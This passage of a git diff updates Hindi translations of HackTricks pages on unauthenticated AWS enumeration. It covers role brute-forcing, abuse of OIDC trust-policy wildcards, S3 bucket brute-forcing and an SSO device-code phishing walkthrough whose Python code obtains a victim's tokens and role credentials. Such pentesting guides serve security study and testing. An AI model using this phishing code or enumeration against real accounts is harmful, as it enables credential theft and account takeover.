टेम्पलेट +#### सार्वजनिक यूआरएल टेम्पलेट ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 5c37f7453..bd3364d38 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} @@ -17,11 +17,11 @@ aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` > [!WARNING] -> यह भी **निजी रजिस्ट्रियों** में हो सकता है जहाँ एक रजिस्ट्रि नीति या एक रिपॉजिटरी नीति **उदाहरण के लिए `"AWS": "*"`** के लिए पहुँच प्रदान कर रही है। कोई भी जिसके पास AWS खाता है, उस रिपॉजिटरी तक पहुँच सकता है। +> यह भी **निजी रजिस्ट्रियों** में हो सकता है जहाँ एक रजिस्ट्र्री नीति या एक रिपॉजिटरी नीति **उदाहरण के लिए `"AWS": "*"`** के लिए पहुँच प्रदान कर रही है। कोई भी जिसके पास AWS खाता है, उस रिपॉजिटरी तक पहुँच सकता है। -### निजी रिपॉजिटरी की गणना करें +### निजी रिपॉजिटरी की सूची बनाना -उपकरण [**skopeo**](https://github.com/containers/skopeo) और [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) का उपयोग एक निजी रजिस्ट्रि के भीतर पहुँच योग्य रिपॉजिटरी की सूची बनाने के लिए किया जा सकता है। +उपकरण [**skopeo**](https://github.com/containers/skopeo) और [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) का उपयोग एक निजी रजिस्ट्र्री के अंदर पहुँच योग्य रिपॉजिटरी की सूची बनाने के लिए किया जा सकता है। ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 6aff6597e..49c10e131 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index c43910738..8706b77af 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -10,7 +10,7 @@ ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### वेब सुरक्षा कमजोरी +### वेब भेद्यता ध्यान दें कि डिफ़ॉल्ट रूप से Beanstalk वातावरण में **Metadatav1 अक्षम** है। @@ -22,11 +22,11 @@ Beanstalk वेब पृष्ठों का प्रारूप **`https: ### सार्वजनिक रूप से सुलभ लोड बैलेंसर -यदि एक Elastic Beanstalk वातावरण लोड बैलेंसर का उपयोग करता है और लोड बैलेंसर को सार्वजनिक रूप से सुलभ के रूप में कॉन्फ़िगर किया गया है, तो हमलावर **लोड बैलेंसर पर सीधे अनुरोध भेज सकते हैं**। जबकि यह सार्वजनिक रूप से सुलभ वेब अनुप्रयोगों के लिए कोई समस्या नहीं हो सकती है, यह निजी अनुप्रयोगों या वातावरणों के लिए एक समस्या हो सकती है। +यदि एक Elastic Beanstalk वातावरण लोड बैलेंसर का उपयोग करता है और लोड बैलेंसर को सार्वजनिक रूप से सुलभ होने के लिए कॉन्फ़िगर किया गया है, तो हमलावर **लोड बैलेंसर पर सीधे अनुरोध भेज सकते हैं**। जबकि यह सार्वजनिक रूप से सुलभ वेब अनुप्रयोगों के लिए एक समस्या नहीं हो सकती है, यह निजी अनुप्रयोगों या वातावरणों के लिए एक समस्या हो सकती है। ### सार्वजनिक रूप से सुलभ S3 बकेट -Elastic Beanstalk अनुप्रयोग अक्सर तैनाती से पहले S3 बकेट में संग्रहीत होते हैं। यदि अनुप्रयोग वाला S3 बकेट सार्वजनिक रूप से सुलभ है, तो एक हमलावर **अनुप्रयोग कोड डाउनलोड कर सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है**। +Elastic Beanstalk अनुप्रयोग अक्सर तैनाती से पहले S3 बकेट में संग्रहीत होते हैं। यदि अनुप्रयोग को समाहित करने वाला S3 बकेट सार्वजनिक रूप से सुलभ है, तो एक हमलावर **अनुप्रयोग कोड डाउनलोड कर सकता है और भेद्यताओं या संवेदनशील जानकारी की खोज कर सकता है**। ### सार्वजनिक वातावरणों की गणना करें ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index d8d1456ad..edd3384c0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -7,7 +7,7 @@ ### ~~भूमिका मान लेना ब्रूट-फोर्स~~ > [!CAUTION] -> **यह तकनीक अब काम नहीं करती** क्योंकि यदि भूमिका मौजूद है या नहीं, तो आपको हमेशा यह त्रुटि मिलती है: +> **यह तकनीक अब काम नहीं करती** क्योंकि यदि भूमिका मौजूद है या नहीं, आपको हमेशा यह त्रुटि मिलती है: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -आवश्यक अनुमतियों के बिना **भूमिका मानने का प्रयास करना** एक AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है: +आवश्यक अनुमतियों के बिना **भूमिका मानने का प्रयास** AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -23,16 +23,16 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: User: ar ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -दिलचस्प बात यह है कि **मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि** विभिन्न AWS खातों के बीच भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाते में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है। +दिलचस्प बात यह है कि **मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि** विभिन्न AWS खातों में भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाता में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है। -आप इस [स्क्रिप्ट का उपयोग करके संभावित प्रिंसिपल्स को सूचीबद्ध कर सकते हैं](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) इस समस्या का दुरुपयोग करते हुए। +आप इस [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) का उपयोग कर सकते हैं जो इस समस्या का लाभ उठाता है। -### ट्रस्ट नीतियाँ: ब्रूट-फोर्स क्रॉस अकाउंट भूमिकाएँ और उपयोगकर्ता +### Trust Policies: Brute-Force Cross Account roles and users -एक **IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना उस AWS संसाधन या सेवा को परिभाषित करने में शामिल होता है जिसे उस भूमिका को ग्रहण करने की अनुमति है** और अस्थायी क्रेडेंशियल प्राप्त करना। यदि नीति में निर्दिष्ट संसाधन **मौजूद है**, तो ट्रस्ट नीति **सफलता से** सहेजी जाती है। हालाँकि, यदि संसाधन **मौजूद नहीं है**, तो एक **त्रुटि उत्पन्न होती है**, जो बताती है कि एक अमान्य प्रिंसिपल प्रदान किया गया था। +**IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना उस भूमिका को मान्यता देने के लिए अनुमत AWS संसाधनों या सेवाओं को परिभाषित करने में शामिल होता है** और अस्थायी क्रेडेंशियल प्राप्त करना। यदि नीति में निर्दिष्ट संसाधन **मौजूद है**, तो ट्रस्ट नीति **सफलता से** सहेजी जाती है। हालाँकि, यदि संसाधन **मौजूद नहीं है**, तो एक **त्रुटि उत्पन्न होती है**, जो बताती है कि एक अमान्य प्रमुख प्रदान किया गया था। > [!WARNING] -> ध्यान दें कि उस संसाधन में आप एक क्रॉस अकाउंट भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं: +> ध्यान दें कि उस संसाधन में आप एक क्रॉस खाता भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` @@ -54,7 +54,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ``` #### GUI -यह **त्रुटि** है जो आपको तब मिलेगी जब आप **ऐसी भूमिका का उपयोग करते हैं जो मौजूद नहीं है**। यदि भूमिका **मौजूद है**, तो नीति **बिना किसी त्रुटि के** **सहेजी** जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने के समय भी काम करती है) +यह **त्रुटि** है जो आपको तब मिलेगी जब आप एक **भूमिका का उपयोग करते हैं जो मौजूद नहीं है**। यदि भूमिका **मौजूद है**, तो नीति **बिना किसी त्रुटि के** **सहेजी** जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने पर भी काम करती है) ![](<../../../images/image (153).png>) @@ -99,7 +99,7 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- उदाहरण में उपयोग किया गया `admin` भूमिका एक **भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा** ताकि वह enumeration के लिए आवश्यक नीतियों को बना सके +- उदाहरण में उपयोग किया गया `admin` भूमिका एक **भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा** ताकि यह enumeration के लिए आवश्यक नीतियों को बना सके ### Privesc @@ -118,12 +118,12 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -The attacker could just assume it. +हमलावर बस इसे मान सकता है। -## Third Party OIDC Federation +## तीसरे पक्ष का OIDC संघ -कल्पना करें कि आप एक **Github Actions workflow** पढ़ने में सफल होते हैं जो **AWS** के अंदर एक **role** तक पहुँच रहा है।\ -यह विश्वास एक **trust policy** के साथ एक role तक पहुँच प्रदान कर सकता है: +कल्पना करें कि आप एक **Github Actions कार्यप्रवाह** पढ़ने में सफल होते हैं जो **AWS** के अंदर एक **भूमिका** तक पहुँच रहा है।\ +यह विश्वास एक भूमिका तक पहुँच प्रदान कर सकता है जिसमें निम्नलिखित **विश्वास नीति** है: ```json { "Version": "2012-10-17", @@ -152,7 +152,7 @@ The attacker could just assume it. "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -ध्यान दें कि **वाइल्डकार्ड** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैसे एक संगठन बना सकते हैं और **भूमिका ग्रहण** कर सकते हैं एक Github Action से। +ध्यान दें कि **वाइल्डकार्ड** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैसे एक संगठन बना सकते हैं और एक Github Action से **भूमिका** ग्रहण कर सकते हैं। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 204dca4fa..658c90cb3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## AWS डिवाइस कोड फ़िशिंग -शुरुआत में [**इस ब्लॉग पोस्ट**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) में प्रस्तावित, यह संभव है कि एक **लिंक** को एक उपयोगकर्ता को AWS SSO का उपयोग करते हुए भेजा जाए, यदि **उपयोगकर्ता स्वीकार करता है** तो हमलावर को **उपयोगकर्ता का प्रतिनिधित्व करने के लिए एक टोकन प्राप्त होगा** और वह सभी भूमिकाओं तक पहुँच प्राप्त कर सकेगा जिन तक उपयोगकर्ता पहुँच सकता है **Identity Center** में। +शुरुआत में [**इस ब्लॉग पोस्ट**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) में प्रस्तावित, यह संभव है कि एक **लिंक** को AWS SSO का उपयोग करते हुए एक उपयोगकर्ता को भेजा जाए, यदि **उपयोगकर्ता स्वीकार करता है** तो हमलावर को **उपयोगकर्ता का अनुकरण करने के लिए एक टोकन प्राप्त होगा** और वह सभी भूमिकाओं तक पहुँच प्राप्त कर सकेगा जिन तक उपयोगकर्ता पहुँच सकता है **Identity Center** में। इस हमले को करने के लिए आवश्यकताएँ हैं: @@ -26,7 +26,7 @@ curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' ``` 2. **शिकार के लिए लिंक उत्पन्न करें और इसे भेजें** -AWS SSO लॉगिन लिंक उत्पन्न करने के लिए निम्नलिखित कोड चलाएँ ताकि शिकार प्रमाणीकरण कर सके।\ +AWS SSO लॉगिन लिंक उत्पन्न करने के लिए निम्नलिखित कोड चलाएँ ताकि शिकारकर्ता प्रमाणीकरण कर सके।\ डेमो के लिए, इस कोड को एक पायथन कंसोल में चलाएँ और इसे बंद न करें क्योंकि बाद में आपको टोकन प्राप्त करने के लिए कुछ ऑब्जेक्ट्स की आवश्यकता होगी: ```python import boto3 @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Send the generated link to the victim using you awesome social engineering skills! +शिकार को लिंक भेजें अपनी शानदार सोशल इंजीनियरिंग कौशल का उपयोग करते हुए! -3. **पीड़ित के स्वीकार करने की प्रतीक्षा करें** +3. **शिकार के स्वीकार करने की प्रतीक्षा करें** -यदि पीड़ित **पहले से AWS में लॉग इन था** तो उसे केवल अनुमतियाँ देने के लिए स्वीकार करना होगा, यदि वह नहीं था, तो उसे **लॉग इन करना होगा और फिर अनुमतियाँ देने के लिए स्वीकार करना होगा**।\ -यहाँ आजकल प्रॉम्प्ट कैसा दिखता है: +यदि शिकार **पहले से AWS में लॉग इन था** तो उसे केवल अनुमतियाँ देने के लिए स्वीकार करना होगा, यदि वह नहीं था, तो उसे **लॉग इन करना होगा और फिर अनुमतियाँ देने के लिए स्वीकार करना होगा**।\ +यहाँ प्रॉम्प्ट आजकल कैसा दिखता है:
4. **SSO एक्सेस टोकन प्राप्त करें** -यदि पीड़ित ने प्रॉम्प्ट को स्वीकार कर लिया, तो इस कोड को चलाएँ ताकि **उपयोगकर्ता का अनुकरण करते हुए SSO टोकन उत्पन्न किया जा सके**: +यदि शिकार ने प्रॉम्प्ट स्वीकार कर लिया, तो इस कोड को चलाएँ ताकि **उपयोगकर्ता का अनुकरण करते हुए SSO टोकन उत्पन्न किया जा सके**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,7 +73,7 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -SSO एक्सेस टोकन **8 घंटे के लिए मान्य** है। +SSO एक्सेस टोकन **8 घंटे के लिए मान्य है**। 5. **उपयोगकर्ता का अनुकरण करें** ```python @@ -104,9 +104,9 @@ sts_creds.get('roleCredentials') ``` ### Phishing the unphisable MFA -यह जानकर मज़ा आता है कि पिछला हमला **काम करता है भले ही "unphisable MFA" (webAuth) का उपयोग किया जा रहा हो**। इसका कारण यह है कि पिछला **कार्यप्रवाह कभी भी उपयोग किए गए OAuth डोमेन को नहीं छोड़ता**। अन्य फ़िशिंग हमलों की तरह नहीं जहां उपयोगकर्ता को लॉगिन डोमेन को प्रतिस्थापित करना पड़ता है, इस मामले में डिवाइस कोड कार्यप्रवाह इस तरह से तैयार किया गया है कि **कोड एक डिवाइस द्वारा जाना जाता है** और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट को स्वीकार किया जाता है, तो डिवाइस, केवल **प्रारंभिक कोड को जानकर**, उपयोगकर्ता के लिए **क्रेडेंशियल्स पुनः प्राप्त करने में सक्षम होगा**। +यह जानकर मज़ा आता है कि पिछला हमला **काम करता है भले ही "unphisable MFA" (webAuth) का उपयोग किया जा रहा हो**। इसका कारण यह है कि पिछला **कार्यप्रवाह उपयोग किए गए OAuth डोमेन को कभी नहीं छोड़ता**। अन्य फ़िशिंग हमलों की तरह नहीं जहां उपयोगकर्ता को लॉगिन डोमेन को प्रतिस्थापित करना पड़ता है, इस मामले में डिवाइस कोड कार्यप्रवाह इस तरह से तैयार किया गया है कि **कोड एक डिवाइस द्वारा जाना जाता है** और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट को स्वीकार किया जाता है, तो डिवाइस, केवल **प्रारंभिक कोड को जानकर**, उपयोगकर्ता के लिए **क्रेडेंशियल्स पुनः प्राप्त करने में सक्षम होगा**। -इसके बारे में अधिक जानकारी के लिए [**इस पोस्ट को देखें**](https://mjg59.dreamwidth.org/62175.html). +इस बारे में अधिक जानकारी के लिए [**इस पोस्ट को देखें**](https://mjg59.dreamwidth.org/62175.html)। ### Automatic Tools diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index d4ca4cfe9..ea5fa4d85 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT अनधिकृत Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index de5f94e19..450c71e83 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -10,11 +10,11 @@ ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` -### Get Account ID from public Lambda URL +### सार्वजनिक Lambda URL से खाता आईडी प्राप्त करें -Just like with S3 buckets, Data Exchange and API gateways, यह संभव है कि एक सार्वजनिक लैम्ब्डा URL से **`aws:ResourceAccount`** **Policy Condition Key** का दुरुपयोग करके एक खाते की खाता आईडी प्राप्त की जा सके। यह नीति के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर खाता आईडी खोजकर किया जाता है।\ +S3 बकेट, डेटा एक्सचेंज और API गेटवे की तरह, एक सार्वजनिक लैम्ब्डा URL से **`aws:ResourceAccount`** **नीति स्थिति कुंजी** का दुरुपयोग करके एक खाते की खाता आईडी ढूंढना संभव है। यह नीति के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर में खाता आईडी खोजकर किया जाता है।\ यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प हैं)। -आप अधिक जानकारी [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में पा सकते हैं। +आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index ddb335879..3058d7eb9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Media Unauthenticated Enum +# AWS - मीडिया अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 2605127a9..c03664a28 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## सार्वजनिक पोर्ट +## Public Port ### **RabbitMQ** @@ -10,9 +10,9 @@ ### ActiveMQ -**ActiveMQ** के मामले में, डिफ़ॉल्ट रूप से सार्वजनिक पहुंच और ssl सक्षम हैं, लेकिन आपको पहुंच के लिए क्रेडेंशियल्स की आवश्यकता है। +**ActiveMQ** के मामले में, डिफ़ॉल्ट सार्वजनिक पहुंच और ssl सक्षम हैं, लेकिन आपको पहुंच के लिए क्रेडेंशियल्स की आवश्यकता है। -### सार्वजनिक URL टेम्पलेट +### Public URL template ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index b32b0f294..9d086d704 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -6,7 +6,7 @@ यह **Kafka ब्रोकर को सार्वजनिक रूप से उजागर करना संभव है**, लेकिन आपको **प्रमाण पत्र**, IAM अनुमतियाँ या एक मान्य प्रमाणपत्र की आवश्यकता होगी (कॉन्फ़िगर की गई प्रमाणीकरण विधि के आधार पर)। -यह भी **प्रमाणीकरण को निष्क्रिय करना संभव है**, लेकिन उस स्थिति में **इंटरनेट पर सीधे पोर्ट को उजागर करना संभव नहीं है**। +यह भी **प्रमाणीकरण को निष्क्रिय करना संभव है**, लेकिन उस मामले में **इंटरनेट पर सीधे पोर्ट को उजागर करना संभव नहीं है**। ### सार्वजनिक URL टेम्पलेट ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 7567887dd..e9fa7ffe9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -12,12 +12,12 @@ ### AWS बकेट खोजने के तरीके -जब एक वेबपृष्ठ AWS का उपयोग करके कुछ संसाधनों को स्टोर कर रहा हो, तो खोजने के विभिन्न तरीके: +जब एक वेबपृष्ठ AWS का उपयोग करके कुछ संसाधनों को स्टोर कर रहा हो, तो खोजने के लिए विभिन्न तरीके: -#### एन्यूमरेशन और OSINT: +#### Enumeration & OSINT: - **wappalyzer** ब्राउज़र प्लगइन का उपयोग करना -- बर्प का उपयोग करना (**वेब को स्पाइडर करना**) या पृष्ठ के माध्यम से मैन्युअल रूप से नेविगेट करके सभी **संसाधनों** **को लोड** किया जाएगा जो इतिहास में सहेजे जाएंगे। +- बर्प का उपयोग करना (**स्पाइडरिंग** वेब) या पृष्ठ के माध्यम से मैन्युअल रूप से नेविगेट करके सभी **संसाधन** **लोड** किए जाएंगे जो इतिहास में सहेजे जाएंगे। - **संसाधनों के लिए जाँच करें** जैसे डोमेन में: ``` @@ -31,9 +31,9 @@ http://[bucket_name].s3.amazonaws.com/ - **flaws.cloud** **IP** 52.92.181.107 पर है और यदि आप वहाँ जाते हैं तो यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर रीडायरेक्ट करता है। इसके अलावा, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है। - यह जाँचने के लिए कि यह एक बकेट है, आप **यहाँ भी जा सकते हैं** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)। -#### ब्रूट-फोर्स +#### Brute-Force -आप बकेट्स को **कंपनी से संबंधित नामों को ब्रूट-फोर्स करके** खोज सकते हैं जिसे आप पेंटेस्ट कर रहे हैं: +आप बकेट खोज सकते हैं **कंपनी से संबंधित नामों को ब्रूट-फोर्स करके** जिसे आप पेंटेस्ट कर रहे हैं: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) @@ -75,13 +75,13 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists -#### लूट S3 बकेट +#### Loot S3 Buckets -खुले S3 बकेट दिए गए, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए **खोज सकता है**। +दिए गए S3 खुले बकेट, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए **खोज सकता है**। ### क्षेत्र खोजें -आप AWS द्वारा समर्थित सभी क्षेत्रों को [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) पर पा सकते हैं। +आप [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) में AWS द्वारा समर्थित सभी क्षेत्रों को खोज सकते हैं। #### DNS द्वारा @@ -95,17 +95,17 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Check that the resolved domain have the word "website".\ -आप स्थिर वेबसाइट तक पहुँच सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -या आप बकेट तक पहुँच सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com` +यह सुनिश्चित करें कि हल किया गया डोमेन "website" शब्द रखता है।\ +आप स्थिर वेबसाइट पर जा सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +या आप बकेट पर जाकर पहुंच सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com` -#### By Trying +#### प्रयास करके -यदि आप एक बकेट तक पहुँचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप एक और क्षेत्र निर्दिष्ट करते हैं** (उदाहरण के लिए बकेट `bucket.s3.amazonaws.com` में है लेकिन आप `bucket.s3-website-us-west-2.amazonaws.com` तक पहुँचने की कोशिश करते हैं, तो आपको **सही स्थान पर संकेतित किया जाएगा**: +यदि आप एक बकेट तक पहुंचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप एक अन्य क्षेत्र निर्दिष्ट करते हैं** (उदाहरण के लिए बकेट `bucket.s3.amazonaws.com` में है लेकिन आप `bucket.s3-website-us-west-2.amazonaws.com` पर पहुंचने की कोशिश करते हैं, तो आपको **सही स्थान पर निर्देशित किया जाएगा**: ![](<../../../images/image (106).png>) -### 